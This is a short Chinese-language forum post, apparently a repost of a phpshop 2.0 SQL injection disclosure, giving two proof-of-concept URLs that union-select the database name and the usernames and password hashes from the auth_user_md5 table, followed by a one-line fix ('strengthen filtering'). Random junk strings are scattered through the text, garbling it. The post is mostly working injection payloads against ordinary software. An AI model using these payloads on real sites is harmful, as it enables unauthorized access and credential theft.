phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
* x" C6 ~# D, b+ }6 U: f4 m
% O& O; n$ U* p1 h3 P# u2 X. s作者 : By onestree
! k# \. X" D; d1 v/ m下载地址 : http://code.google.com/p/phpshop/downloads/list
4 }" r0 ^4 B; H- G5 Y测试地址: windows 7 / ubuntu


+ t. ~* ~+ M: L2 ESQLi p0c:
" e" n9 F* z& C5 T  n
: \/ n+ O% Y: Z! K# P7 S==================
+ M2 K% U) n$ W+ g& o
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
+ S; ^/ X9 s5 S0 C1 Nunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

+ A6 }( Z8 n8 D0 E1 o1 \8 N修复：
) F1 f" S* G4 I/ y加强过滤
​
, ?: X/ T- Y0 {- n- m9 J) z
. x0 ^) D& g5 v/ C- E+ h